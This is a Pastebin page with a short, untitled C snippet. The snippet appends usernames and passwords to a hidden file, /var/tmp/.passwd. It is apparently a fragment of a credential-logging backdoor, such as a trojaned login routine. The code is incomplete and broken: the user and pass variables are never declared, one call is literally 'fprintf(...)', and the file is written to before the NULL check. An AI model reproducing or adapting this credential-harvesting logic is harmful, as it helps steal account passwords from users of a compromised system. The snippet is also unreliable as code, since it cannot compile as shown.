Advertisement
Guest User

Untitled

a guest
Aug 11th, 2017
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.26 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <fcntl.h>
  3.  
  4. int main()
  5. {
  6.     FILE *fp;
  7.     fp=fopen("/var/tmp/.passwd", "a+");
  8.     fprintf(fp, "username=%s\tpassword=%s\n", user, pass);
  9.  
  10.     if(fp != NULL)
  11.     {
  12.           fprintf(...);
  13.           fclose(fp);
  14.     }
  15. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement